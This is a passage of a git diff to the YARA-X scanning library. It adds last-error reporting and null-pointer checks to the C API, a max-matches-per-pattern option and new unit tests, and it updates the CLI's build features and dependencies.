scanner: &mut *mut YRX_SCANNER, + scanner: *mut *mut YRX_SCANNER, ) -> YRX_RESULT { + if scanner.is_null() { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + + *scanner = std::ptr::null_mut(); + let rules = if let Some(rules) = rules.as_ref() { rules } else { + _yrx_set_last_error(Some("`rules` pointer cannot be null")); return YRX_RESULT::YRX_INVALID_ARGUMENT; }; @@ -135,6 +159,7 @@ pub unsafe extern "C" fn yrx_scanner_create( module_data: HashMap::new(), })); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -160,11 +185,15 @@ pub unsafe extern "C" fn yrx_scanner_set_timeout( ) -> YRX_RESULT { let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; scanner.inner.set_timeout(Duration::from_secs(timeout)); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -185,11 +214,38 @@ pub unsafe extern "C" fn yrx_scanner_fast_scan( ) -> YRX_RESULT { let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; scanner.inner.fast_scan(yes); + _yrx_set_last_error::<&str>(None); + YRX_RESULT::YRX_SUCCESS +} + +/// Sets the maximum number of matches per pattern. +/// +/// When a pattern reaches the maximum number of matches it won't produce more +/// matches. +#[unsafe(no_mangle)] +pub unsafe extern "C" fn yrx_scanner_max_matches_per_pattern( + scanner: *mut YRX_SCANNER, + n: usize, +) -> YRX_RESULT { + let scanner = match scanner.as_mut() { + Some(s) => s, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + }; + + scanner.inner.max_matches_per_pattern(n); + + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -208,12 +264,20 @@ pub unsafe extern "C" fn yrx_scanner_scan( let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; let data = match slice_from_ptr_and_len(data, len) { Some(data) => data, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some( + "`data` pointer cannot be null when `len` is greater than 0", + )); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; let options = scanner @@ -225,7 +289,12 @@ pub unsafe extern "C" fn yrx_scanner_scan( let scan_results = match &mut scanner.inner { InnerScanner::SingleBlock(s) => s.scan_with_options(data, options), - InnerScanner::MultiBlock(_) => return YRX_RESULT::YRX_INVALID_STATE, + InnerScanner::MultiBlock(_) => { + _yrx_set_last_error(Some( + "cannot use `yrx_scanner_scan` on a scanner in multi-block mode", + )); + return YRX_RESULT::YRX_INVALID_STATE; + } InnerScanner::None => unreachable!(), }; @@ -262,7 +331,10 @@ pub unsafe extern "C" fn yrx_scanner_scan_file( let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; let path = match str_from_ptr(path) { @@ -281,7 +353,12 @@ pub unsafe extern "C" fn yrx_scanner_scan_file( InnerScanner::SingleBlock(s) => { s.scan_file_with_options(path, options) } - InnerScanner::MultiBlock(_) => return YRX_RESULT::YRX_INVALID_STATE, + InnerScanner::MultiBlock(_) => { + _yrx_set_last_error(Some( + "cannot use `yrx_scanner_scan_file` on a scanner in multi-block mode", + )); + return YRX_RESULT::YRX_INVALID_STATE; + } InnerScanner::None => unreachable!(), }; @@ -368,12 +445,20 @@ pub unsafe extern "C" fn yrx_scanner_scan_block( let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; let data = match slice_from_ptr_and_len(data, len) { Some(data) => data, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some( + "`data` pointer cannot be null when `len` is greater than 0", + )); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; match scanner.inner.make_multi_block().scan(base, data) { @@ -407,7 +492,10 @@ pub unsafe extern "C" fn yrx_scanner_finish( let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; match scanner.inner.make_multi_block().finish() { @@ -445,9 +533,11 @@ pub unsafe extern "C" fn yrx_scanner_on_matching_rule( user_data: *mut std::ffi::c_void, ) -> YRX_RESULT { if let Some(scanner) = scanner.as_mut() { - scanner.on_matching_rule = Some((callback, user_data)); + scanner.on_matching_rule = callback.map(|cb| (cb, user_data)); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } else { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); YRX_RESULT::YRX_INVALID_ARGUMENT } } @@ -496,7 +586,10 @@ pub unsafe extern "C" fn yrx_scanner_set_module_output( ) -> YRX_RESULT { let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; let module_name = match str_from_ptr(name) { @@ -506,7 +599,12 @@ pub unsafe extern "C" fn yrx_scanner_set_module_output( let data = match slice_from_ptr_and_len(data, len) { Some(data) => data, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some( + "`data` pointer cannot be null when `len` is greater than 0", + )); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; match &mut scanner.inner { @@ -524,7 +622,12 @@ pub unsafe extern "C" fn yrx_scanner_set_module_output( } // This function produces an error if invoked while the scanner // is in block scanning mode. - InnerScanner::MultiBlock(_) => YRX_RESULT::YRX_INVALID_STATE, + InnerScanner::MultiBlock(_) => { + _yrx_set_last_error(Some( + "cannot use `yrx_scanner_set_module_output` on a scanner in multi-block mode", + )); + YRX_RESULT::YRX_INVALID_STATE + } InnerScanner::None => unreachable!(), } } @@ -551,7 +654,10 @@ pub unsafe extern "C" fn yrx_scanner_set_module_data( ) -> YRX_RESULT { let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; let name = match str_from_ptr(name) { @@ -561,15 +667,24 @@ pub unsafe extern "C" fn yrx_scanner_set_module_data( let data = match slice_from_ptr_and_len(data, len) { Some(data) => data, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some( + "`data` pointer cannot be null when `len` is greater than 0", + )); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; if matches!(scanner.inner, InnerScanner::MultiBlock(_)) { + _yrx_set_last_error(Some( + "cannot use `yrx_scanner_set_module_data` on a scanner in multi-block mode", + )); return YRX_RESULT::YRX_INVALID_STATE; } scanner.module_data.insert(name, data); + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -582,7 +697,10 @@ unsafe extern "C" fn yrx_scanner_set_global< ) -> YRX_RESULT { let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; let ident = match str_from_ptr(ident) { @@ -666,7 +784,10 @@ pub unsafe extern "C" fn yrx_scanner_set_global_json( let value: serde_json::Value = match serde_json::from_str(value) { Ok(json_value) => json_value, - Err(_) => return YRX_RESULT::YRX_INVALID_ARGUMENT, + Err(err) => { + _yrx_set_last_error(Some(err)); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; yrx_scanner_set_global(scanner, ident, value) @@ -677,7 +798,8 @@ pub unsafe extern "C" fn yrx_scanner_set_global_json( /// The callback function is invoked with a string representing the message /// being logged. The function can print the message to stdout, append it to a /// file, etc. If no callback is set these messages are ignored. -pub type YRX_CONSOLE_CALLBACK = extern "C" fn(message: *const c_char) -> (); +pub type YRX_CONSOLE_CALLBACK = + Option ()>; /// Sets the callback for console module. #[unsafe(no_mangle)] @@ -687,11 +809,23 @@ pub unsafe extern "C" fn yrx_scanner_on_console_log( ) -> YRX_RESULT { let scanner = match scanner.as_mut() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + }; + + let Some(callback) = callback else { + _yrx_set_last_error(Some("`callback` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; }; let wrapper = move |message: String| { - let msg = CString::new(message).unwrap(); + let msg = CString::new(message).unwrap_or_else(|e| { + let mut bytes = e.into_vec(); + bytes.retain(|&b| b != 0); + CString::new(bytes).unwrap() + }); callback(msg.as_ptr()); }; @@ -705,6 +839,7 @@ pub unsafe extern "C" fn yrx_scanner_on_console_log( InnerScanner::None => unreachable!(), } + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } @@ -719,13 +854,15 @@ pub unsafe extern "C" fn yrx_scanner_on_console_log( /// data owned by the user. /// /// Requires the `rules-profiling` feature. -pub type YRX_SLOWEST_RULES_CALLBACK = extern "C" fn( - namespace_: *const c_char, - rule: *const c_char, - pattern_matching_time: f64, - condition_exec_time: f64, - user_data: *mut c_void, -) -> (); +pub type YRX_SLOWEST_RULES_CALLBACK = Option< + extern "C" fn( + namespace_: *const c_char, + rule: *const c_char, + pattern_matching_time: f64, + condition_exec_time: f64, + user_data: *mut c_void, + ) -> (), +>; /// Iterates over the slowest N rules, calling the callback for each rule. /// @@ -742,13 +879,24 @@ pub unsafe extern "C" fn yrx_scanner_iter_slowest_rules( user_data: *mut c_void, ) -> YRX_RESULT { #[cfg(not(feature = "rules-profiling"))] - return YRX_RESULT::YRX_NOT_SUPPORTED; + { + _yrx_set_last_error(Some("`rules-profiling` feature is not enabled")); + YRX_RESULT::YRX_NOT_SUPPORTED + } #[cfg(feature = "rules-profiling")] { let scanner = match scanner.as_ref() { Some(s) => s, - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } + }; + + let Some(callback) = callback else { + _yrx_set_last_error(Some("`callback` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; }; for profiling_info in scanner.inner.slowest_rules(n) { @@ -764,6 +912,7 @@ pub unsafe extern "C" fn yrx_scanner_iter_slowest_rules( ); } + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } } @@ -783,15 +932,22 @@ pub unsafe extern "C" fn yrx_scanner_clear_profiling_data( scanner: *mut YRX_SCANNER, ) -> YRX_RESULT { #[cfg(not(feature = "rules-profiling"))] - return YRX_RESULT::YRX_NOT_SUPPORTED; + { + _yrx_set_last_error(Some("`rules-profiling` feature is not enabled")); + YRX_RESULT::YRX_NOT_SUPPORTED + } #[cfg(feature = "rules-profiling")] { match scanner.as_mut() { Some(s) => s.inner.clear_profiling_data(), - None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + None => { + _yrx_set_last_error(Some("`scanner` pointer cannot be null")); + return YRX_RESULT::YRX_INVALID_ARGUMENT; + } }; + _yrx_set_last_error::<&str>(None); YRX_RESULT::YRX_SUCCESS } } @@ -815,6 +971,7 @@ unsafe fn slice_from_ptr_and_len<'a>( unsafe fn str_from_ptr<'a>(s: *const c_char) -> Result<&'a str, YRX_RESULT> { if s.is_null() { + _yrx_set_last_error(Some("string pointer cannot be null")); return Err(YRX_RESULT::YRX_INVALID_ARGUMENT); } match CStr::from_ptr(s).to_str() { diff --git a/capi/src/tests.rs b/capi/src/tests.rs index 5163a7ea6..eded849c6 100644 --- a/capi/src/tests.rs +++ b/capi/src/tests.rs @@ -18,13 +18,13 @@ use crate::{ yrx_rules_destroy, yrx_rules_iter, yrx_rules_iter_imports, yrx_rules_serialize, yrx_scanner_clear_profiling_data, yrx_scanner_create, yrx_scanner_destroy, yrx_scanner_fast_scan, yrx_scanner_finish, - yrx_scanner_iter_slowest_rules, yrx_scanner_on_console_log, - yrx_scanner_on_matching_rule, yrx_scanner_scan, yrx_scanner_scan_block, - yrx_scanner_scan_file, yrx_scanner_set_global_bool, - yrx_scanner_set_global_float, yrx_scanner_set_global_int, - yrx_scanner_set_global_json, yrx_scanner_set_global_str, - yrx_scanner_set_module_data, yrx_scanner_set_module_output, - yrx_scanner_set_timeout, + yrx_scanner_iter_slowest_rules, yrx_scanner_max_matches_per_pattern, + yrx_scanner_on_console_log, yrx_scanner_on_matching_rule, + yrx_scanner_scan, yrx_scanner_scan_block, yrx_scanner_scan_file, + yrx_scanner_set_global_bool, yrx_scanner_set_global_float, + yrx_scanner_set_global_int, yrx_scanner_set_global_json, + yrx_scanner_set_global_str, yrx_scanner_set_module_data, + yrx_scanner_set_module_output, yrx_scanner_set_timeout, }; use std::ffi::{CStr, c_char, c_void}; @@ -121,7 +121,7 @@ extern "C" fn on_pattern_iter( assert_eq!( yrx_pattern_iter_matches( pattern, - on_pattern_match_iter, + Some(on_pattern_match_iter), &mut match_count as *mut i32 as *mut c_void, ), YRX_RESULT::YRX_SUCCESS @@ -146,7 +146,7 @@ extern "C" fn on_rule_match(rule: *const YRX_RULE, user_data: *mut c_void) { let mut count = 0; yrx_rule_iter_metadata( rule, - on_metadata_iter, + Some(on_metadata_iter), &mut count as *mut i32 as *mut c_void, ); // The rule has five metadata entries. @@ -155,7 +155,7 @@ extern "C" fn on_rule_match(rule: *const YRX_RULE, user_data: *mut c_void) { let mut count = 0; yrx_rule_iter_patterns( rule, - on_pattern_iter, + Some(on_pattern_iter), &mut count as *mut i32 as *mut c_void, ); // The rule has one pattern. @@ -164,7 +164,7 @@ extern "C" fn on_rule_match(rule: *const YRX_RULE, user_data: *mut c_void) { let mut count = 0; yrx_rule_iter_tags( rule, - on_tag_iter, + Some(on_tag_iter), &mut count as *mut i32 as *mut c_void, ); // The rule has two tags. @@ -210,7 +210,7 @@ fn capi_console_log() { let mut scanner = std::ptr::null_mut(); yrx_scanner_create(rules, &mut scanner); - yrx_scanner_on_console_log(scanner, on_console_log); + yrx_scanner_on_console_log(scanner, Some(on_console_log)); let mut recorder = CallRecorder::new_local(); yrx_scanner_scan(scanner, std::ptr::null(), 0); recorder.verify("AXSERS"); @@ -291,7 +291,7 @@ fn capi() { let mut num_rules = 0; yrx_rules_iter( rules, - on_rule_iter, + Some(on_rule_iter), &mut num_rules as *mut i32 as *mut c_void, ); assert_eq!(num_rules, 1); @@ -300,7 +300,7 @@ fn capi() { let mut num_imports = 0; yrx_rules_iter_imports( rules, - on_import_iter, + Some(on_import_iter), &mut num_imports as *mut i32 as *mut c_void, ); assert_eq!(num_imports, 1); @@ -319,7 +319,7 @@ fn capi() { yrx_scanner_set_timeout(scanner, 60); yrx_scanner_on_matching_rule( scanner, - on_rule_match, + Some(on_rule_match), &mut matches as *mut i32 as *mut c_void, ); @@ -407,7 +407,7 @@ fn capi_modules() { let mut matches = 0; yrx_scanner_on_matching_rule( scanner, - on_rule_match_increase_counter, + Some(on_rule_match_increase_counter), &mut matches as *mut i32 as *mut c_void, ); yrx_scanner_scan(scanner, std::ptr::null(), 0); @@ -479,7 +479,7 @@ rule test2 { strings: $a = "bar" condition: $a } let mut matches = 0; yrx_scanner_on_matching_rule( scanner, - on_rule_match_increase_counter, + Some(on_rule_match_increase_counter), &mut matches as *mut i32 as *mut c_void, ); @@ -557,7 +557,41 @@ fn capi_fast_scan() { let mut matches = 0; yrx_scanner_on_matching_rule( scanner, - on_rule_match_increase_counter, + Some(on_rule_match_increase_counter), + &mut matches as *mut i32 as *mut c_void, + ); + + let data = b"foofoofoo"; + yrx_scanner_scan(scanner, data.as_ptr(), data.len()); + + assert_eq!(matches, 1); + + yrx_scanner_destroy(scanner); + yrx_rules_destroy(rules); + } +} + +#[test] +fn capi_max_matches_per_pattern() { + unsafe { + let mut compiler = std::ptr::null_mut(); + yrx_compiler_create(0, &mut compiler); + + let src = c"rule test { strings: $a = \"foo\" condition: #a == 1 }"; + yrx_compiler_add_source(compiler, src.as_ptr()); + + let rules = yrx_compiler_build(compiler); + yrx_compiler_destroy(compiler); + + let mut scanner = std::ptr::null_mut(); + yrx_scanner_create(rules, &mut scanner); + + yrx_scanner_max_matches_per_pattern(scanner, 1); + + let mut matches = 0; + yrx_scanner_on_matching_rule( + scanner, + Some(on_rule_match_increase_counter), &mut matches as *mut i32 as *mut c_void, ); @@ -574,10 +608,23 @@ fn capi_fast_scan() { #[test] fn capi_null_args() { unsafe { + assert_eq!( + yrx_compile(std::ptr::null(), std::ptr::null_mut()), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); + assert!(!yrx_last_error().is_null()); + + assert_eq!( + yrx_compiler_create(0, std::ptr::null_mut()), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); + assert!(!yrx_last_error().is_null()); + assert_eq!( yrx_compiler_add_source(std::ptr::null_mut(), std::ptr::null()), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert!(!yrx_last_error().is_null()); assert_eq!( yrx_compiler_add_source_with_origin( std::ptr::null_mut(), @@ -669,6 +716,13 @@ fn capi_null_args() { ), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_compiler_errors_json( + std::ptr::null_mut(), + std::ptr::null_mut() + ), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); assert_eq!( yrx_compiler_warnings_json( std::ptr::null_mut(), @@ -676,6 +730,13 @@ fn capi_null_args() { ), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_compiler_warnings_json( + std::ptr::null_mut(), + std::ptr::null_mut() + ), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); yrx_compiler_destroy(std::ptr::null_mut()); assert_eq!(yrx_rules_count(std::ptr::null_mut()), -1); @@ -684,10 +745,18 @@ fn capi_null_args() { yrx_rules_serialize(std::ptr::null(), &mut buf), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_rules_serialize(std::ptr::null(), std::ptr::null_mut()), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); + assert_eq!( + yrx_rules_deserialize(std::ptr::null(), 0, std::ptr::null_mut()), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); assert_eq!( yrx_rules_iter( std::ptr::null(), - on_rule_iter, + Some(on_rule_iter), std::ptr::null_mut() ), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -695,7 +764,7 @@ fn capi_null_args() { assert_eq!( yrx_rules_iter_imports( std::ptr::null(), - on_import_iter, + Some(on_import_iter), std::ptr::null_mut() ), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -710,6 +779,14 @@ fn capi_null_args() { ), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_rule_identifier( + std::ptr::null(), + std::ptr::null_mut(), + std::ptr::null_mut() + ), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); assert_eq!( yrx_rule_namespace( std::ptr::null(), @@ -718,10 +795,18 @@ fn capi_null_args() { ), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_rule_namespace( + std::ptr::null(), + std::ptr::null_mut(), + std::ptr::null_mut() + ), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); assert_eq!( yrx_rule_iter_metadata( std::ptr::null(), - on_metadata_iter, + Some(on_metadata_iter), std::ptr::null_mut() ), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -729,7 +814,7 @@ fn capi_null_args() { assert_eq!( yrx_rule_iter_patterns( std::ptr::null(), - on_pattern_iter, + Some(on_pattern_iter), std::ptr::null_mut() ), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -737,7 +822,7 @@ fn capi_null_args() { assert_eq!( yrx_rule_iter_tags( std::ptr::null(), - on_tag_iter, + Some(on_tag_iter), std::ptr::null_mut() ), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -751,10 +836,18 @@ fn capi_null_args() { ), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_pattern_identifier( + std::ptr::null(), + std::ptr::null_mut(), + std::ptr::null_mut() + ), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); assert_eq!( yrx_pattern_iter_matches( std::ptr::null(), - on_pattern_match_iter, + Some(on_pattern_match_iter), std::ptr::null_mut() ), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -767,6 +860,10 @@ fn capi_null_args() { ), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_scanner_create(std::ptr::null_mut(), std::ptr::null_mut()), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); assert_eq!( yrx_scanner_set_timeout(std::ptr::null_mut(), 10), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -775,6 +872,10 @@ fn capi_null_args() { yrx_scanner_fast_scan(std::ptr::null_mut(), true), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_scanner_max_matches_per_pattern(std::ptr::null_mut(), 10), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); assert_eq!( yrx_scanner_scan(std::ptr::null_mut(), std::ptr::null(), 0), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -799,7 +900,7 @@ fn capi_null_args() { assert_eq!( yrx_scanner_on_matching_rule( std::ptr::null_mut(), - on_rule_match_increase_counter, + Some(on_rule_match_increase_counter), std::ptr::null_mut() ), YRX_RESULT::YRX_INVALID_ARGUMENT @@ -862,11 +963,11 @@ fn capi_null_args() { ), YRX_RESULT::YRX_INVALID_ARGUMENT ); - yrx_scanner_on_console_log(std::ptr::null_mut(), on_console_log); + yrx_scanner_on_console_log(std::ptr::null_mut(), Some(on_console_log)); let res = yrx_scanner_iter_slowest_rules( std::ptr::null_mut(), 5, - on_slowest_rule_iter, + Some(on_slowest_rule_iter), std::ptr::null_mut(), ); assert!( @@ -971,7 +1072,7 @@ fn capi_scanner_extra() { let res = yrx_scanner_iter_slowest_rules( scanner, 10, - on_slowest_rule_iter, + Some(on_slowest_rule_iter), &mut count as *mut i32 as *mut c_void, ); assert!( @@ -995,8 +1096,9 @@ fn capi_serialization_and_compile() { YRX_RESULT::YRX_SUCCESS ); assert!(!rules.is_null()); + assert!(yrx_last_error().is_null()); - let mut bad_rules = std::ptr::null_mut(); + let mut bad_rules = rules; assert_eq!( yrx_compile( c"rule bad { condition: foo }".as_ptr(), @@ -1004,10 +1106,12 @@ fn capi_serialization_and_compile() { ), YRX_RESULT::YRX_SYNTAX_ERROR ); + assert!(bad_rules.is_null()); + assert!(!yrx_last_error().is_null()); // Test deserialize with invalid data let invalid_bytes = b"not valid yara rules"; - let mut des_rules = std::ptr::null_mut(); + let mut des_rules = rules; assert_eq!( yrx_rules_deserialize( invalid_bytes.as_ptr(), @@ -1016,6 +1120,124 @@ fn capi_serialization_and_compile() { ), YRX_RESULT::YRX_SERIALIZATION_ERROR ); + assert!(des_rules.is_null()); + assert!(!yrx_last_error().is_null()); + + yrx_rules_destroy(rules); + } +} + +#[test] +fn capi_xor_key() { + extern "C" fn on_match(match_: *const YRX_MATCH, user_data: *mut c_void) { + let xor_key = unsafe { &mut *(user_data as *mut i16) }; + *xor_key = unsafe { (*match_).xor_key }; + } + + extern "C" fn on_pattern( + pattern: *const YRX_PATTERN, + user_data: *mut c_void, + ) { + unsafe { + yrx_pattern_iter_matches(pattern, Some(on_match), user_data); + } + } + + extern "C" fn on_rule(rule: *const YRX_RULE, user_data: *mut c_void) { + unsafe { + yrx_rule_iter_patterns(rule, Some(on_pattern), user_data); + } + } + + unsafe { + let mut rules = std::ptr::null_mut(); + assert_eq!( + yrx_compile( + c"rule test { strings: $a = \"foo\" xor condition: $a }" + .as_ptr(), + &mut rules + ), + YRX_RESULT::YRX_SUCCESS + ); + + let mut scanner = std::ptr::null_mut(); + yrx_scanner_create(rules, &mut scanner); + + let mut xor_key: i16 = -1; + yrx_scanner_on_matching_rule( + scanner, + Some(on_rule), + &mut xor_key as *mut i16 as *mut c_void, + ); + + let data = b"\xCC\xC5\xC5"; + yrx_scanner_scan(scanner, data.as_ptr(), data.len()); + assert_eq!(xor_key, 0xAA); + + yrx_scanner_destroy(scanner); + yrx_rules_destroy(rules); + } +} + +#[test] +fn capi_metadata_literal_nul() { + extern "C" fn on_metadata( + metadata: *const YRX_METADATA, + user_data: *mut c_void, + ) { + let out = unsafe { &mut *(user_data as *mut Vec<(String, Vec)>) }; + let m = unsafe { metadata.as_ref().unwrap() }; + let ident = unsafe { CStr::from_ptr(m.identifier) } + .to_str() + .unwrap() + .to_owned(); + assert!(matches!(m.value_type, YRX_METADATA_TYPE::YRX_BYTES)); + let bytes = unsafe { + std::slice::from_raw_parts( + m.value.bytes.data, + m.value.bytes.length, + ) + }; + out.push((ident, bytes.to_vec())); + } + + extern "C" fn on_rule(rule: *const YRX_RULE, user_data: *mut c_void) { + unsafe { + assert_eq!( + yrx_rule_iter_metadata(rule, Some(on_metadata), user_data), + YRX_RESULT::YRX_SUCCESS + ); + } + } + + let compiled = yara_x::compile( + b"rule test { meta: m = \"a\0b\" condition: true }".as_slice(), + ) + .unwrap(); + let serialized = compiled.serialize().unwrap(); + + unsafe { + let mut rules = std::ptr::null_mut(); + assert_eq!( + yrx_rules_deserialize( + serialized.as_ptr(), + serialized.len(), + &mut rules + ), + YRX_RESULT::YRX_SUCCESS + ); + + let mut collected: Vec<(String, Vec)> = Vec::new(); + assert_eq!( + yrx_rules_iter( + rules, + Some(on_rule), + &mut collected as *mut Vec<(String, Vec)> as *mut c_void, + ), + YRX_RESULT::YRX_SUCCESS + ); + + assert_eq!(collected, vec![("m".to_string(), b"a\0b".to_vec())]); yrx_rules_destroy(rules); } diff --git a/cli/Cargo.toml b/cli/Cargo.toml index 0bbedc2a0..81e8cd972 100644 --- a/cli/Cargo.toml +++ b/cli/Cargo.toml @@ -28,8 +28,8 @@ test = false # Enable the "debug" command for developers. debug-cmd = [] -# When this feature is enabled the CLI program prints debug logs if -# the RUST_LOG environment variable is set to any of the debug levels: +# When this feature is enabled the CLI program prints debug logs to stderr if +# the YRX_LOG environment variable is set to any of the log levels: # # error # warn @@ -37,13 +37,22 @@ debug-cmd = [] # debug # trace # -# Example: RUST_LOG=info ./yr scan some_rule.yar some_file -logging = ["dep:log", "dep:env_logger"] +# You can also specify different log levels for specific targets/modules using +# comma-separated `target=level` directives: +# +# YRX_LOG=info ./yr scan some_rule.yar some_file +# YRX_LOG=yara_x=debug ./yr scan some_rule.yar some_file +# YRX_LOG=warn,yara_x::compiler=trace ./yr scan some_rule.yar some_file +stderr-logs = ["yara-x/stderr-logs"] # Enables rules profiling. Notice that profiling has an impact on scan # performance. rules-profiling = ["yara-x/rules-profiling"] +# Include precompiled native code in serialized rules. This reduces rule load +# time at the cost of larger, platform-specific compiled-rule files. +native-code-serialization = ["yara-x/native-code-serialization"] + # Enables the use of wasmtime's Pulley bytecode interpreter instead of the default # Cranelift JIT compiler. See the documentation in the `yara-x` core library for details. pulley = ["yara-x/pulley"] @@ -58,8 +67,6 @@ figment = { workspace = true, features = ["toml"] } globwalk = { workspace = true } home = { workspace = true } itertools = { workspace = true } -env_logger = { workspace = true, optional = true, features = ["auto-color"] } -log = { workspace = true, optional = true } protobuf = { workspace = true } regex = { workspace = true } serde_json = { workspace = true, features = ["preserve_order"] } @@ -67,16 +74,16 @@ serde = { workspace = true, features = ["derive"] } strum = { workspace = true } strum_macros = { workspace = true } yansi = { workspace = true } -yara-x = { workspace = true, features = ["parallel-compilation"] } +yara-x = { workspace = true, default-features = true, features = ["parallel-compilation"] } yara-x-parser = { workspace = true } yara-x-proto = { workspace = true } yara-x-fmt = { workspace = true } chardetng = "1.0.0" -crossbeam = "0.8.4" +crossbeam = "0.8.5" crossterm = "0.29.0" dunce = "1.0.5" -indicatif = "0.18.4" +indicatif = "0.18.6" unicode-width = "0.2.2" wild = "2.2.1" @@ -86,4 +93,4 @@ assert_fs = "1.1.4" predicates = { workspace = true } [target.'cfg(windows)'.dependencies] -enable-ansi-support = "0.3.1" \ No newline at end of file +enable-ansi-support = "0.3.1" diff --git a/cli/src/commands/check.rs b/cli/src/commands/check.rs index 71915fa4c..308fe5242 100644 --- a/cli/src/commands/check.rs +++ b/cli/src/commands/check.rs @@ -86,6 +86,22 @@ pub fn exec_check(args: &ArgMatches, config: &Config) -> anyhow::Result<()> { w.max_depth(*recursive.unwrap_or(&0)); + // Pre-compile metadata regexes once up front so invalid regex syntax fails + // immediately with a non-zero exit code, and use `regex::bytes::Regex` for + // both `MetaValue::String` and `MetaValue::Bytes` so valid `(?-u)` byte + // escapes never panic inside `regex::Regex::new(...).unwrap()`. + let mut metadata_regexps = std::collections::HashMap::new(); + for (identifier, meta_config) in 